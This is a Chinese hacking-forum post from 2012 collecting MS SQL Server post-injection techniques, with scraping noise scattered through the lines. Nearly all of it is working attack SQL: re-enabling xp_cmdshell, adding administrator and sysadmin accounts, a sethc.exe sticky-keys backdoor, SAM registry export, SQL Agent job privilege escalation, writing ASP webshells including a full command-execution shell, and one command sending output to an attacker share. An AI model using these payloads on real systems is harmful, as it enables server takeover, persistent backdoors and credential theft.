找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2790|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
3 _+ L/ \2 Y2 Q+ H9 t4 v恢复方法:查询分离器连接后,3 d' o0 ?- B4 [* z8 u+ w
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
0 F- f8 t& _: ]  g' O- W第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
9 U8 q9 {0 C/ c! h然后按F5键命令执行完毕
$ Y3 y% e1 e  l( K* J7 g2 W8 b+ \$ h" c! H: Z
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)5 Y! q" E! D5 D
恢复方法:查询分离器连接后," s2 s4 D1 z' v9 o
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
9 _$ b( i, o- C/ J2 c* g! R第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll', A4 d0 j1 d+ b; G$ y
然后按F5键命令执行完毕
; G1 n3 d3 |9 m/ P
8 r; m, M( \1 e' n3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)5 A7 Y) S) v% R# R
恢复方法:查询分离器连接后,7 ?& Z+ x9 d' T  T5 b( z
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'+ L5 ?( w+ {* V& K4 y6 q2 r7 s
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'      
8 x6 ]6 ~5 M% X9 K$ `& z" ]然后按F5键命令执行完毕( A+ r5 B+ s7 }3 K/ i8 y: F0 j; N

# k- c& z% `1 Y# [. e5 F# K  |4 终极方法.
0 J6 l5 B& L3 S/ X# h! ^如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
% s% r/ ]( `: y9 s$ x* K+ B. h% b查询分离器连接后,0 c3 w+ G2 K' W3 [7 m
2000servser系统:
9 z2 E7 E  H6 |; P8 Jdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
& i0 h2 Q/ b, ]- t! N/ R  {% B3 ?1 |: j0 H+ L, L
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'# q2 r. h7 s* X
3 H  B/ Z. ]- C/ O2 s: r! ~
xp或2003server系统:) ~7 [3 i5 w5 v7 \8 W+ k: w0 P/ {4 I
4 s/ p! D0 x/ w, ?; x- Y: M
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
# y& S# P! H: L6 x6 t
* G4 N  \- Y( Fdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
0 s1 t9 Q& F1 J/ c( O& o
5 g& ]' d  v3 T- f5 |% D: K8 s
) F" J( `8 f; Y5 P5 ^6 n# M五个SHIFT$ R7 z6 Z( V" P1 |0 c# i8 f
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';$ z2 q( K4 w4 k

& E! j: B- V' O/ e# \; h/ k) {, w( @5 Cdeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
5 N' T) l/ e/ X0 P7 s  O7 D0 z
! B9 ^; g& O7 h  S8 L+ Exp_cmdshell执行命令另一种方法
" |' y% R" r4 r4 e4 k# l4 Adeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
* y2 p) C: y# T+ N. `, x9 D
. }) V, ~: L" d) c判断存储扩展是否存在/ H( ~0 A+ Q# H0 P. M
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'" p2 G+ O! V: n) ~, g' ]; W* V
返回结果为1就OK
' g7 s' q: r6 G, ~- ^3 W. e' e; @
- \, x4 c7 r/ e1 z* Q) e# i% Y8 L( ^) V: W
上传xplog70.dll恢复xp_cmdshell语句:" c2 U8 X6 e& @! L
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'5 p+ r5 R  d0 S/ I

! O% d! x! U& t, @! S( ^9 P: s. x否则上传xplog7.0.dll" S- Q2 t9 _) Q/ S
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'/ `1 s4 N9 R4 M* J/ i' v

) p, N% [1 M: W3 X" Q) _7 ?1 y' T/ B& f* R3 R6 @

% G7 S6 M3 ]4 P  p首先开启沙盘模式:4 R( J) t+ _+ N* B; `
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
1 ^/ ~7 }4 t* |4 v; s; C4 Z4 r5 H, U3 i# n+ z8 o" w
然后利用jet.oledb执行系统命令
6 G" b6 [0 ?3 n' Y3 H1 |8 m3 }select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')6 B# j: i; u% Y5 X6 o% g# [  t8 Z
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了1 ~% s/ {. y; a2 H

# w( H4 G' V4 b- q$ A' b# d8 x9 Y
7 P2 S8 N. V8 J/ s  j; P& E: u+ w; g3 l& x6 d  W3 m
恢复过程sp_addextendedproc 如下:
2 ?% x, ], K: {5 c. |- i( J2 _create procedure sp_addextendedproc --- 1996/08/30 20:13
) m1 O: Y5 b" ~- }$ N' V@functname nvarchar(517),/* (owner.)name of function to call */
( f4 `: m1 H5 f, d& p0 D@dllname varchar(255)/* name of DLL containing function */
; ]8 y1 A+ c/ yas 4 d. [# p8 t# L4 C4 ^% C* K" e1 o. B
set implicit_transactions off 1 ?8 O- U% A& r* y' n2 A
if @@trancount > 0
& E4 s/ V, N) O. ]! Z+ u5 kbegin / X+ P* c$ F: o3 u
raiserror(15002,-1,-1,'sp_addextendedproc') ( Y2 }) v) e, Q, i2 y& D
return (1)
* v, M5 {9 t/ Z7 Y% t* c& _9 x5 mend ( L" F- {- \& r8 V$ s
dbcc addextendedproc( @functname, @dllname)   }; i" ?  `4 J9 S4 H1 E
return (0) -- sp_addextendedproc & e  o5 d  Z* n# k; o$ J( K
GO
# z, `7 d5 ~' ~5 [  _
# x$ L$ Q, _2 M- }/ Y( i  @/ G, H6 J8 o5 {

% V6 O9 p7 z! S+ b1 K4 R& ~( @5 h导出管理员密码文件
! F$ M) K) j) E) Nsa默认可以读sam键.应该。
2 V$ ]8 T- O( E$ r' freg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg' d4 s1 A" d4 c# Z) k
net user administrator test
% ^. A8 L% a& y. E, X9 J  ?用administrator登陆.
& B% V  H! \( F用完机器后) g) S( p# a0 W* |3 H/ x
reg import c:\test.reg0 i' n3 H3 h5 D0 d" g$ s( F/ u
根本不用克隆.
2 N. w3 _) t7 n5 Z* m4 _* I找到对应的sid.   |) W0 J4 \) F; b* S
5 v) Z: L3 {/ X$ |5 k- ~' R

  r+ n$ x" x. ~- F; @/ R* b: x) r$ r1 O
恢复所有存储过程
* u/ i( r1 C7 t) N4 W' P; F, B" quse master
) q+ w2 O9 s" K3 ^6 v, aexec sp_addextendedproc xp_enumgroups,'xplog70.dll' - D+ ?' J+ Y( U" D
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll' " j0 O1 X8 {5 r/ }
exec sp_addextendedproc xp_loginconfig,'xplog70.dll' . x; e9 Q+ s4 i1 A, n
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
/ l" j" U6 |5 T5 M+ w7 fexec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
- Y2 \7 q; |' [; v% jexec sp_addextendedproc sp_OACreate,'odsole70.dll' 7 ~; p+ G7 W  B% X$ N
exec sp_addextendedproc sp_OADestroy,'odsole70.dll' # Q* r' S5 {3 w9 o: s% p# J
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' + N4 [2 y/ I. G# ?6 p2 k. ?% _
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
& E! ^; |- {) |5 yexec sp_addextendedproc sp_OAMethod,'odsole70.dll'
. A  {) Y  J+ g& X, T3 Z; Nexec sp_addextendedproc sp_OASetProperty,'odsole70.dll' 4 {) O. {7 I& A: ]
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
- p1 O7 F1 v. f$ M6 V, {1 W& Sexec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
! t( y8 s( R. C" f9 A0 W, ^exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' $ L+ G; U* T( w
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' ) D4 x5 K# I" Y# ]1 R
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
- [5 x% c8 a* t- N. _2 k* e: d. i1 k0 lexec sp_addextendedproc xp_regread,'xpstar.dll'
% R+ ?6 f  b& B2 V& B* E+ texec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' ; r9 F9 F, q. L# l- Z/ T6 \' m
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
) n3 F7 A# V3 F% X4 [- P' Bexec sp_addextendedproc xp_availablemedia,'xpstar.dll'# R2 _, |& b/ C) ^+ m4 i
! s) t/ @( G4 c" C# W7 w
' D8 C3 F/ k/ d" ?! S3 b& {
建立读文件的存储过程
% Z, {3 p" M% B* D1 `$ r1 wCreate proc sp_readTextFile @filename sysname
; P9 b: C0 b, _2 C. o& {" Uas. D  D; P+ ^. ]7 F5 u% U! [; j

+ w* @; d$ n; F  _' w+ \, w    begin 0 v- r$ M" r3 n- C& H. r- W
    set nocount on ( H1 R! Y9 b8 Z7 }- b) \
    Create table #tempfile (line varchar(8000))" r: Y7 c3 g* n
    exec ('bulk insert #tempfile from "' + @filename + '"')
3 S' Q  U9 N% D/ J    select * from #tempfile
; ]3 n& g# V2 T  G    drop table #tempfile) r8 [' C2 M! l( g9 ]! s  R
End
1 A5 b" B- u0 y0 w3 r% S
" }: n' T3 K3 ]% l! b0 jexec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件6 _) y4 }) c% s9 ^& b
查看登录用户3 ?* H4 ]) V2 z$ L
Select * from sysxlogins) X$ U; W3 I4 O- p% P

+ Y) B" W/ }$ I/ u# _8 w0 I0 E6 ]. z0 a; ~把文件内容读取到表中2 W/ C7 F7 V3 A6 z: w, S& k
BULK INSERT tmp from "c:\test.txt"
0 }0 T2 k0 E! g( ddElete from 表名 清理表里的内容
  p' A+ x9 C- R7 i1 D7 kcreate table b_test(fn nvarchar(4000));建一个表,字段为fn
% R$ @9 S2 Z% p1 K) n/ d6 J, ?9 q0 x

+ U5 A; t0 z! j) W1 }加sa用户1 v' L( W0 o8 a* P3 q* A, K
exec master.dbo.sp_addlogin user,pass;% {, m- C5 ~) C% \6 R/ O; v& k
exec master.dbo.sp_addsrvrolemember user,sysadmin- T, R' U! @! O

" r% Q$ U; n3 o, i4 q/ B6 R) V5 W* i" Y. g
: _( |. {$ g! [" U2 O
读文件代码
8 f3 G" V  O5 ~# Z% \3 k6 Ndeclare @o int, @f int, @t int, @ret int
' j% y$ n' u( L! Adeclare @line varchar(8000)
1 H; K) p' w: e2 L/ H* Fexec sp_oacreate 'scripting.filesystemobject', @o out
! m! j: p8 _1 q% z$ O4 n8 Iexec sp_oamethod @o, 'opentextfile', @f out, '文件名', 12 M) Z9 B5 l; [/ n$ N$ ^; V& X
exec @ret = sp_oamethod @f, 'readline', @line out) z: F) p5 J( k1 W/ Y5 [
while( @ret = 0 ), t" d+ z- x0 a9 ?; U
begin9 r' e- H: [9 F( ^4 Y) H
print @line6 Z7 Y: T' X8 K( F! f
exec @ret = sp_oamethod @f, 'readline', @line out
, h6 D5 t; g4 E+ {end
/ @3 o4 r: `  V% C0 U+ x5 w% u# j( m/ c2 z- Z5 \
# R, n; l7 k" x6 P
写文件代码:
3 B. `: m  X2 ]declare @o int, @f int, @t int, @ret int3 _7 s% q( J* X- H; w/ e
exec sp_oacreate 'scripting.filesystemobject', @o out6 w8 S( b5 X& `" `
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
1 h: D  k' m* A; oexec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
5 q2 G; G* v* y: Y7 {* Q/ F/ k3 W
; s. q9 m( W% R1 [3 [# m1 O" S" ~! }+ e# |' g' q
添加lake2 shell& V* z1 I6 B7 E; m2 Y/ j+ [
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'7 l; X, R* B: H+ e5 n
sp_dropextendedproc xp_lake2
$ r2 J8 l9 h- K5 l; ?EXEC xp_lake2 'net user'
" f+ F/ U8 o2 {$ E. W8 Z2 v
2 o1 }- l/ k" G7 {9 c: r0 r* s$ C: o, P" D" H5 F! U
得到硬盘文件信息 7 H6 i, j" V5 r: Z2 q
--参数说明:目录名,目录深度,是否显示文件
# B$ K# t( S6 h# R: G: m- t; Jexecute master..xp_dirtree 'c:'
5 r, U: W; p( H9 }execute master..xp_dirtree 'c:',1 & w7 G% |+ p6 K7 S/ p+ W5 S1 q
execute master..xp_dirtree 'c:',1,1 " B; y7 n7 a: z6 O+ o9 V  {
* a1 V8 s' P  I4 m% d
. i- |) e2 F5 Q9 F1 i9 w
读serv-u配置信息
, i: k# A( b9 b2 m% rexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
$ V: ?$ A0 b. R" U* texec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'5 N  @, `- L$ ?0 p6 ?1 \4 r$ }3 a  _

% v  i) m4 _8 U+ q' L- ?9 i通过xp_regwrite写SHIFT后门7 p! B, t4 a- N$ K) k
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
5 u6 \# Z3 a0 k. Q- ~! B5 c% p$ U- h* \( v3 w) u

: r6 }% n( g+ a# X6 E' y& `% D1 L1 D# z. D) j& j
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
1 p6 o$ W" y" n: E3 {$ aexec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了, F5 s' {+ K! \7 G
% m! @7 g8 B# n7 I' F
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'3 \* v) A* e% t0 X0 ], S

* Z% r6 y8 T: ?6 s' u- J: A5 e8 K5 M: g8 W6 ]
5 Z+ o5 G6 n; b+ g; H- h5 V
sql server 2005下开启xp_cmdshell的办法, J( u+ j3 V3 V8 H0 C7 B
: {) f1 }$ J  \7 V8 Y' [) d1 e
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
, [$ f# c) N0 R" N9 y, C
5 S+ A/ W. }5 X1 Y/ cSQL2005开启'OPENROWSET'支持的方法:
6 U* p  F. [% f- k1 ?8 u+ z
" C$ e: P8 E) Z. z/ S7 q% X1 g! q$ rexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
/ W: k1 e4 \, |2 M+ n% f/ E  f+ c) b# Y% s5 }8 p
SQL2005开启'sp_oacreate'支持的方法:
4 p& k" b4 X$ N4 D
" \; y" t+ k! ~- l/ _exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;4 `+ m9 E2 |. B& U, M

$ H, E+ n9 q, C; L1 ~# G1 a" V6 w
4 F( p9 [( {, v

% m9 O) Z8 `# j7 Z" y8 K2 g$ G6 L5 T. C

  U. Y1 O# ~/ Z$ n
* A% C$ }# L- y5 t4 O0 J5 F, J" Q5 a4 P

" v. h- }2 j5 v/ \
: k8 N) F! Q6 v
: o3 p. o1 h9 W$ K* N
0 ~& B7 \, h. o: E; _7 d$ @- Z7 r# i4 |
; u3 S+ B) t: g2 l. I& X* l' I6 R

# u0 @' N+ M3 }( e4 o$ l7 C2 v( t% P0 a7 \! s; U

# J2 _$ f. ?& T4 h5 _4 ^+ ^! {+ H/ H# ~' M( C4 z3 s5 e
8 P% o: F+ R5 b! T; W( r

1 D: ~3 f% ^  s$ W
; a. p1 C. D) r! B
# ^, H5 B- X8 \" Z% p
, s" k6 t9 m! N- f# y2 s9 d3 g* P) Z& n( H5 m7 K- p
以下方面不知道能不能成功暂且留下研究哈:
. f% g) H% C- Y1 o2 A# }4)
0 f# |8 H& X5 i, x' vuse msdb; --这儿不要是master哟
' t( {; r- L$ L" Eexec sp_add_job @job_name= czy82 ;
- I" Z, c* g+ ?7 lexec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
1 T$ K+ @+ F& Dexec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
6 V% S% y0 D' g# J' A  sexec sp_start_job @job_name= czy82 ;
$ \* E) z# T7 u0 I
* X* r: @" S- l7 ~) g5 {# J利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
1 m3 i2 B4 ^& E% f1 X执行tsql语句了.- a+ d3 g- r" B- o' t( p& t
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名, T; I& v! \5 J  L3 p
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
; v* f- A: y4 tnet start SQLSERVERAGENT' x$ x/ p' {( \  U

# [$ P: c, I% D) \& F* F对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的2 [1 O0 I) ~, p% F' S( S# |
USE msdb
+ X2 `: y1 \5 v* X1 A" dEXEC sp_add_job @job_name = GetSystemOnSQL ,
! X4 C4 I; m7 ?4 w( b% ~3 i@enabled = 1,/ c& c: _) N* D; H6 h4 e
@description = This will give a low privileged user access to9 }9 I8 ]3 K- o/ F
xp_cmdshell ,
) Y$ L6 \7 {' A@delete_level = 1# f( Q8 k* U: t! I9 K0 i2 S
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
+ N9 V+ H6 K+ p0 o@step_name = Exec my sql ,
& o( Y8 `0 z9 S- _/ B@subsystem = TSQL ,+ K+ j8 b; |: q  I. Y2 T" x
@command = exec master..xp_execresultset N select exec. a. _; C7 k' k- b0 g8 m7 o
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master " W7 J% {! s( i" Y: ], ]) ?; b
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
; {  `: A* X2 o" m. b6 V@server_name = 你的SQL的服务器名
  }8 A9 y! x8 D9 h6 wEXEC sp_start_job @job_name = GetSystemOnSQL & v" Q$ \7 T% F! }
4 I4 m$ D3 E' r9 ~! U9 H, \
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以" m' U" P+ U) B( @0 d5 M
才让我们可以以public执行xp_cmdshell) ~' S" x) U/ e0 M

* C9 p2 D# A6 K0 J5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
9 V% b! ]  c$ V& l4 k( h在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968% N* i3 H% I6 W$ f% d# V

  m  l4 q) m; A! Q+ J  {, y# RUSE msdb
) Z- c; g" ~/ V  P& LEXEC sp_add_job @job_name = ArbitraryFilecreate ,
- {/ \' a9 ~  o' |! w@enabled = 1,
- B( {) c3 b' Z7 t5 }* @@description = This will create a file called c:\sqlafc123.txt ,
5 _1 L6 F3 _' [+ H@delete_level = 1
2 C+ e6 S+ o* ^% b3 r- tEXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
" l8 X- |8 G/ T: e6 ^' D@step_name = SQLAFC ,
7 j$ N$ C: P- J9 ~& j1 X4 ]@subsystem = TSQL ,% {# ?7 L) c5 Y
@command = select hello, this file was created by the SQL Agent. ,3 O& Y: h5 ~, [. m, E$ w
@output_file_name = c:\sqlafc123.txt
4 I7 {& z0 x9 G* [. zEXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,5 m9 n8 c% r1 I) U$ R1 P1 U; q/ a
@server_name = SERVER_NAME   u1 s+ D( k( O  E
EXEC sp_start_job @job_name = ArbitraryFilecreate
/ x! M: l* i3 z: o/ r+ D, \' S& T; V2 e* {* J4 q" S5 k
如果subsystem选的是:tsql,在生成的文件的头部有如下内容
, {3 b% t' }0 E8 y; _+ k5 S- u
9 b/ I2 m: M( @- j: c??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19. W2 I. R5 F7 \7 L5 s
----------------------------------------------- @7 [$ n- t! H1 Y( P
hello, this file was created by the SQL Agent.
6 }# g' y5 Y/ Z" r+ E$ r/ ?0 i& l! z
* B+ S0 B# A% w4 c(1 ?????)3 Q! X% {) a( s; |. d

; T6 M5 N4 ?0 X, S! c8 p所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员) l' ^. ~, c) K$ L. R
命令的vbs文件到启动目录!. u! {( v* R: D
$ C9 M* c; j2 y6 X5 u- u
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
8 _( C# N) l1 `关于sp_MScopyscriptfile 看下面的例子- E7 _! O  |5 G5 Y* ]& L1 P
declare @command varchar(100)
' l# s! r. z% P2 c6 ?declare @scripfile varchar(200)
8 r5 }# w6 F- o2 \1 s  I: Dset concat_null_yields_null off
& u, B  W  F/ z8 Yselect @command= dir c:\ > "\\attackerip\share\dir.txt" 5 ^/ l: q0 K, A  h
select @scripfile= c:\autoexec.bat > nul" | @command | rd " + }' T1 y2 ~' Q  O* s5 j
exec sp_MScopyscriptfile @scripfile ,
: u! G. L  _9 I" c- ~, |8 o. e7 v1 u% a+ v0 }! I7 r) ^
这两个东东都还在测试试哟
9 K2 X3 F2 n& E  k& m' ^让MSSQL的public用户得到一个本机的web shell
) u2 \5 ?$ M  y: P7 `2 F
4 P" h& H, J! h% M! q: S; Msp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
* i& K* a  k* L, [' e# s: F--@query= select <img src=vbscript:msgbox(now())>
5 v8 K9 t# w" T) p--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
! s8 X& X* f8 @) B% o@query= select ) g+ ~* I. U2 @5 @7 }1 v$ r3 {- R
<%On Error Resume Next
- T% t6 @7 q( O! _7 N! P# @) pSet oscript = Server.createObject("wscript.SHELL")
& Y+ ^" W0 J0 e; U5 Y" I* P( ESet oscriptNet = Server.createObject("wscript.NETWORK")
% u- `1 m( K- x9 f' YSet oFileSys = Server.createObject("scripting.FileSystemObject")
$ A" Z/ k4 b! p: D0 A6 ]% h+ wszCMD = Request.Form(".CMD")
& x6 B  s: ~& H2 E! L) p% xIf (szCMD <>"")Then
# ]2 ?/ \# `- g4 _1 ]: OszTempFile = "C:\" & oFileSys.GetTempName()
; }; i) g/ [, t6 n8 b; O  sCall oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) ! r0 s0 j- H/ H  d
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
$ T* M% A/ w8 d% h1 {8 ]End If %>
& C& L* z) |, B7 w& `2 D<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST"> . ^+ d! M# @# s+ o
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> 3 {  N7 A$ j! `0 B3 f
</FORM><RE>
! y) L( k7 d  t# `<% If (IsObject(oFile))Then 1 s  U2 n" J' R
On Error Resume Next
2 M0 Z* w2 I2 O: H$ vResponse.Write Server.HTMLEncode(oFile.ReadAll) 1 D( N8 G3 H# t: b' e8 n
oFile.Close
3 G- m2 w. ~, O/ e& @Call oFileSys.deleteFile(szTempFile, True) 6 V2 S3 p) o% |9 L/ M9 @( l; }
End If%> 6 u5 t( m4 r% ^  a# K) u9 i
</BODY></HTML>
. C" t$ e; A/ H/ w0 c
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表